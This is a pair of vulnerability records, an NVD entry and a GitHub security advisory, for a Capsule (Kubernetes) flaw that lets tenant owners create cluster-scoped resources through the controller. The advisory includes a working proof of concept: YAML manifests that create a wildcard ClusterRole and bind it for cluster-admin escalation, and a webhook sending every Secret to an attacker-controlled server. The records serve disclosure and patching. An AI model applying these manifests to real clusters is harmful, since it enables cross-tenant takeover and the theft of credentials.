{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:projectcapsule:capsule:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "A7404B12-5E27-4AB9-80C0-82901F2AA44B",
              "versionEndExcluding": "0.13.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Capsule is a multi-tenancy and policy-based framework for Kubernetes. The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Prior to version 0.13.0, tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks. The attack vector has a few limiting factors. This attack requires Tenant Owner privileges and requires Capsule Controller running with cluster-admin privileges (default configuration). Additionally, some clusters may have additional admission controllers blocking malicious resources. Version 0.13.0 patches this issue."
    }
  ],
  "id": "CVE-2026-22872",
  "lastModified": "2026-06-03T19:40:06.210",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.1,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "HIGH",
          "scope": "CHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.3,
        "impactScore": 6.0,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 6.9,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "HIGH",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "HIGH",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-06-01T19:16:21.943",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product",
        "Release Notes"
      ],
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-863"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22872"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:02:55Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability\n\n\n## Summary\n\nThe Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller\u0027s elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks.\n\n---\n\n## Details\n\n### Vulnerability Location\n\nFile: `internal/controllers/resources/processor.go`\nFunction: `HandleSection()`\nLines: 247-285\n\n### Core Issues\n\n1. **Excessive Controller Privileges**: The Controller\u0027s ServiceAccount is bound to the cluster-admin ClusterRole\n   ```yaml\n   # ClusterRoleBinding: capsule-manager-rolebinding\n   roleRef:\n     kind: ClusterRole\n     name: cluster-admin\n   ```\n\n2. **Missing Resource Scope Validation**: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field\n\n3. **Missing Resource Type Validation**: No check for whether resources are cluster-scoped\n\n### Vulnerable Code Analysis\n\n```go\n// internal/controllers/resources/processor.go\nfor rawIndex, item := range spec.RawItems {\n    template := string(item.Raw)\n\n    t := fasttemplate.New(template, \"{{ \", \" }}\")\n    tmplString := t.ExecuteString(map[string]interface{}{\n        \"tenant.name\": tnt.Name,\n        \"namespace\":   ns.Name,\n    })\n\n    obj, keysAndValues := unstructured.Unstructured{}, []interface{}{\"index\", rawIndex}\n\n    // Issue 1: Accepts any resource type, including cluster-scoped resources\n    if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode(\n        []byte(tmplString), nil, \u0026obj); decodeErr != nil {\n        log.Error(decodeErr, \"unable to deserialize rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, decodeErr)\n        continue\n    }\n\n    // Issue 2: For cluster-scoped resources, this setting is ignored by API\n    obj.SetNamespace(ns.Name)\n\n    // Issue 3: Controller creates with cluster-admin privileges, no scope check\n    if rawErr := r.createOrUpdate(ctx, \u0026obj, objLabels, objAnnotations); rawErr != nil {\n        log.Info(\"unable to sync rawItem\", keysAndValues...)\n        syncErr = errors.Join(syncErr, rawErr)\n    }\n}\n```\n\n### Attack Chain\n\n```\nTenant Owner (bob) - Has TenantResource creation permission\n  \u2193\nCreates TenantResource containing cluster-scoped resources\n  \u2193\nCapsule Controller (cluster-admin) processes RawItems\n  \u2193\nobj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace)\n  \u2193\nSuccessfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.)\n  \u2193\nCross-tenant privilege escalation / Cluster-level attacks\n```\n\n---\n\n## PoC\n\n### Environment Setup\n\nTest Environment: Kubernetes 1.27+ cluster (verified using Kind cluster)\n\n#### Step 1: Verify Capsule Controller Privileges\n\n```bash\nkubectl get clusterrolebinding capsule-manager-rolebinding -o yaml\n```\n\nConfirm output contains:\n```yaml\nroleRef:\n  kind: ClusterRole\n  name: cluster-admin  # Controller has full cluster management privileges\n```\n\n#### Step 2: Install Capsule and Create Test Tenant\n\nComplete Capsule installation and tenant creation following previous environment setup steps.\n\n#### Step 3: Verify bob\u0027s Permission Restrictions\n\n**Verify bob can create TenantResource:**\n```bash\nkubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1\n```\n\nActual output:\n```\nyes\n```\n\n**Verify bob cannot create ClusterRole:**\n```bash\nkubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027clusterroles\u0027 is not namespace scoped in group \u0027rbac.authorization.k8s.io\u0027\n\nno\n```\n\n**Verify bob cannot create ValidatingWebhook:**\n```bash\nkubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\nWarning: resource \u0027validatingwebhookconfigurations\u0027 is not namespace scoped in group \u0027admissionregistration.k8s.io\u0027\n\nno\n```\n\n### Attack Vector 1: Creating Malicious ClusterRole\n\n#### Step 4: Create TenantResource Containing ClusterRole\n\nCreate file `attack-clusterrole.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-clusterrole\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: rbac.authorization.k8s.io/v1\n          kind: ClusterRole\n          metadata:\n            name: malicious-clusterrole\n          rules:\n          - apiGroups: [\"*\"]\n            resources: [\"*\"]\n            verbs: [\"*\"]\n```\n\nApply configuration **as bob user** (critical - must specify executor):\n\n```bash\nkubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-clusterrole created\n```\n\n**Important**: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack.\n\n#### Step 5: Verify ClusterRole Creation\n\n```bash\nkubectl get clusterrole malicious-clusterrole\n```\n\nActual output:\n```\nNAME                    CREATED AT\nmalicious-clusterrole   2026-01-05T16:10:02Z\n```\n\nView details:\n\n```bash\nkubectl get clusterrole malicious-clusterrole -o yaml\n```\n\nKey output:\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRole\nmetadata:\n  annotations:\n    capsule.clastix.io/tenant: tenant-b\n  name: malicious-clusterrole\nrules:\n- apiGroups: [\"*\"]\n  resources: [\"*\"]\n  verbs: [\"*\"]\n```\n\n**Verification Successful**: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource.\n\n#### Step 6: Exploit ClusterRole for Cross-Tenant Attack\n\nNow bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges:\n\n```yaml\napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n  name: bob-cluster-admin\nsubjects:\n- kind: User\n  name: bob\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: malicious-clusterrole\n  apiGroup: rbac.authorization.k8s.io\n```\n\nAfter applying, bob will have full cluster management privileges and can access resources of all tenants.\n\n### Attack Vector 2: Creating Malicious ValidatingWebhook\n\n#### Step 7: Create TenantResource Containing Webhook\n\nCreate file `attack-webhook.yaml`:\n\n```yaml\napiVersion: capsule.clastix.io/v1beta2\nkind: TenantResource\nmetadata:\n  name: create-webhook\n  namespace: tenant-b-ns1\nspec:\n  resyncPeriod: 60s\n  resources:\n    - namespaceSelector:\n        matchLabels:\n          capsule.clastix.io/tenant: tenant-b\n      rawItems:\n        - apiVersion: admissionregistration.k8s.io/v1\n          kind: ValidatingWebhookConfiguration\n          metadata:\n            name: malicious-webhook\n          webhooks:\n          - name: malicious.webhook.com\n            clientConfig:\n              url: \"https://attacker-controlled-server.com/webhook\"\n            rules:\n            - operations: [\"CREATE\", \"UPDATE\"]\n              apiGroups: [\"\"]\n              apiVersions: [\"v1\"]\n              resources: [\"secrets\"]\n            admissionReviewVersions: [\"v1\"]\n            sideEffects: None\n            failurePolicy: Ignore\n```\n\nApply configuration **as bob user**:\n\n```bash\nkubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev\n```\n\nActual output:\n```\ntenantresource.capsule.clastix.io/create-webhook created\n```\n\n#### Step 8: Verify Webhook Creation\n\n```bash\nkubectl get validatingwebhookconfiguration malicious-webhook\n```\n\nActual output:\n```\nNAME                WEBHOOKS   AGE\nmalicious-webhook   1          5s\n```\n\n**Verification Successful**: bob cannot directly create Webhook, but successfully created a cluster-scoped ValidatingWebhookConfiguration through TenantResource.\n\n#### Step 9: Exploit Webhook to Steal Sensitive Data\n\nAt this point, whenever any user in the cluster creates or updates a Secret, the Kubernetes API Server will call the attacker-controlled webhook server, sending an AdmissionReview request containing the complete Secret content. The attacker can:\n\n1. Steal Secret data from all tenants (database passwords, API keys, etc.)\n2. Modify Secret contents\n3. Deny legitimate Secret creation requests, achieving DoS attacks\n\n---\n\n## Impact\n\n### Affected Scope\n\nThis vulnerability affects all Capsule deployments with the following prerequisites:\n1. Capsule Controller runs with cluster-admin privileges (default configuration)\n2. Tenant Owner has permission to create TenantResource\n\n### Security Impact\n\n1. **Cross-Tenant Privilege Escalation**\n   - Create ClusterRole to gain cluster-level privileges\n   - Break tenant isolation boundaries\n   - Access all resources of other tenants\n\n2. **Large-Scale Sensitive Data Theft**\n   - Intercept all Secret creation/update requests through malicious Webhook\n   - Steal passwords, API keys, certificates, etc. across the entire cluster\n   - Real-time monitoring of all tenant sensitive operations\n\n3. **Cluster-Level Denial of Service**\n   - Deny all API requests through Webhook\n   - Make the entire cluster unavailable\n   - Impact all tenants\n\n4. **Cluster Pollution**\n   - Create malicious CRDs\n   - Modify StorageClass\n   - Impact cluster stability\n\n5. **Persistent Backdoor**\n   - Created cluster-scoped resources persist\n   - Even if TenantResource is deleted, ClusterRole and other resources remain\n   - Difficult to detect and remove\n\n\n### Limiting Factors\n\n1. Requires Tenant Owner privileges\n2. Requires Capsule Controller running with cluster-admin privileges (default configuration)\n3. Some clusters may have additional admission controllers blocking malicious resources",
  "id": "GHSA-qjjm-7j9w-pw72",
  "modified": "2026-05-28T17:02:56Z",
  "published": "2026-05-28T17:02:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-qjjm-7j9w-pw72"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability"
}